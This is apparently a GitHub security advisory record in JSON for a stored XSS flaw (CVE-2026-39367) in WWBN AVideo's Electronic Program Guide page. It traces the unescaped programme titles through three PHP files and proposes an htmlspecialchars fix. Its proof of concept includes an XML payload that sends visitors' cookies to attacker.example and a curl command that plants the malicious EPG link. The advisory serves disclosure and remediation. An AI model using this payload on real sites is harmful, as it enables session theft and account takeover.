{"id":"GHSA-rqp3-gf5h-mrqx","summary":"WWBN AVideo has Stored XSS via Malicious EPG XML Program Titles in AVideo EPG Page","details":"## Summary\n\nAVideo's EPG (Electronic Program Guide) feature parses XML from user-controlled URLs and renders programme titles directly into HTML without any sanitization or escaping. A user with upload permission can set a video's `epg_link` to a malicious XML file whose `\u003ctitle\u003e` elements contain JavaScript. This payload executes in the browser of any unauthenticated visitor to the public EPG page, enabling session hijacking and account takeover.\n\n## Details\n\nThe vulnerability spans three files in the data flow:\n\n**1. Entry point — `objects/videoAddNew.json.php:117-119`**\n\nThe `epg_link` parameter is stored with only a URL format check:\n\n```php\nif (empty($_POST['epg_link']) || isValidURL($_POST['epg_link'])) {\n    $obj-\u003esetEpg_link($_POST['epg_link']);\n}\n```\n\nThis requires `User::canUpload()` (line 10) — not admin, just basic upload permission.\n\n**2. XML parsing — `objects/EpgParser.php:321`**\n\nProgramme titles are extracted as raw strings with no sanitization:\n\n```php\n$this-\u003eepgdata[$grouper ?: 0] = [\n    'title' =\u003e (string) $element-\u003etitle,\n    // ...\n];\n```\n\n**3. Sink — `plugin/PlayerSkins/epg.php:343-351`**\n\nProgramme titles are interpolated directly into HTML output without `htmlspecialchars()` or any escaping:\n\n```php\n} else if ($width \u003c= $minimumWidth1Dot) {\n    $text = \"\u003cabbr title=\\\"{$program['title']}\\\"\u003e.\u003c/abbr\u003e\";          // attribute injection\n} else if ($width \u003c= $minimumWidth) {\n    $text = \"\u003cabbr title=\\\"{$program['title']}\\\"\u003e\u003csmall ...\";        // attribute injection\n} else if ($width \u003c= $minimumSmallFont) {\n    $text = \"\u003csmall class=\\\"small-font\\\"\u003e{$program['title']}\u003cdiv\u003e...\"; // HTML injection\n} else {\n    $text = \"{$program['title']}\u003cdiv\u003e...\";                            // HTML injection\n}\n```\n\nNotably, the channel `display-name` **is** sanitized via `safeString()` at line 151, but programme titles are not — an apparent oversight.\n\nThe EPG page (`epg.php`) requires no authentication to access, and the rendered output is cached at line 634 (`ObjectYPT::setCache`), so the XSS payload persists in cache even if the original malicious XML is later removed.\n\n## PoC\n\n**Step 1:** Host a malicious XMLTV file at an attacker-controlled URL:\n\n```xml\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003ctv\u003e\n  \u003cchannel id=\"ch1\"\u003e\n    \u003cdisplay-name\u003eTest Channel\u003c/display-name\u003e\n  \u003c/channel\u003e\n  \u003cprogramme start=\"20260404060000 +0000\" stop=\"20260404070000 +0000\" channel=\"ch1\"\u003e\n    \u003ctitle\u003e\u003c![CDATA[\u003cimg src=x onerror=fetch('https://attacker.example/steal?c='+document.cookie)\u003e]]\u003e\u003c/title\u003e\n  \u003c/programme\u003e\n\u003c/tv\u003e\n```\n\n**Step 2:** Create a video with the malicious EPG link (requires upload permission):\n\n```bash\ncurl -s -b 'PHPSESSID=UPLOAD_USER_SESSION' \\\n  'https://target.example/objects/videoAddNew.json.php' \\\n  -d 'title=LiveStream&videoLink=https://example.com/stream.m3u8&epg_link=https://attacker.example/evil.xml&categories_id=1'\n```\n\n**Step 3:** Any visitor (unauthenticated) browsing the EPG page triggers the XSS:\n\n```\nhttps://target.example/plugin/PlayerSkins/epg.php\n```\n\nThe `\u003cimg onerror\u003e` payload executes in the browser of every visitor, exfiltrating cookies and session tokens.\n\n## Impact\n\n- **Session hijacking**: Any visitor's session cookies are exfiltrated, including administrators\n- **Account takeover**: Stolen admin sessions allow full platform control\n- **Persistent**: The XSS payload is cached server-side and fires for every page visitor without further interaction\n- **Wide blast radius**: The EPG page is publicly accessible with no authentication required\n\n## Recommended Fix\n\nEscape all programme data before rendering in HTML. In `plugin/PlayerSkins/epg.php`, apply `htmlspecialchars()` to programme titles before interpolation:\n\n```php\n// Around line 340, before the width checks:\n$safeTitle = htmlspecialchars($program['title'], ENT_QUOTES, 'UTF-8');\n\n// Then use $safeTitle instead of $program['title']:\n} else if ($width \u003c= $minimumWidth1Dot) {\n    $text = \"\u003cabbr title=\\\"{$safeTitle}\\\"\u003e.\u003c/abbr\u003e\";\n} else if ($width \u003c= $minimumWidth) {\n    $text = \"\u003cabbr title=\\\"{$safeTitle}\\\"\u003e\u003csmall class=\\\"duration\\\"\u003e{$minutes} Min\u003c/small\u003e\u003c/abbr\u003e\";\n} else if ($width \u003c= $minimumSmallFont) {\n    $text = \"\u003csmall class=\\\"small-font\\\"\u003e{$safeTitle}\u003cdiv\u003e\u003csmall class=\\\"duration\\\"\u003e{$minutes} Min\u003c/small\u003e\u003c/div\u003e\u003c/small\u003e\";\n} else {\n    $text = \"{$safeTitle}\u003cdiv\u003e\u003csmall class=\\\"duration\\\"\u003e{$minutes} Min\u003c/small\u003e\u003c/div\u003e\";\n}\n```\n\nAdditionally, consider sanitizing all EPG XML fields at parse time in `EpgParser.php:316-330` to defend in depth.","aliases":["CVE-2026-39367"],"modified":"2026-04-08T00:27:16.577482Z","published":"2026-04-08T00:08:36Z","database_specific":{"nvd_published_at":"2026-04-07T20:16:30Z","cwe_ids":["CWE-79"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-04-08T00:08:36Z"},"references":[{"type":"WEB","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-rqp3-gf5h-mrqx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39367"},{"type":"WEB","url":"https://github.com/WWBN/AVideo/commit/e0212add4aad0f1e97758a4b4fdc57df58ce68e8"},{"type":"PACKAGE","url":"https://github.com/WWBN/AVideo"}],"affected":[{"package":{"name":"wwbn/avideo","ecosystem":"Packagist","purl":"pkg:composer/wwbn/avideo"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"26.0"}]}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0","26.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-rqp3-gf5h-mrqx/GHSA-rqp3-gf5h-mrqx.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N"}]}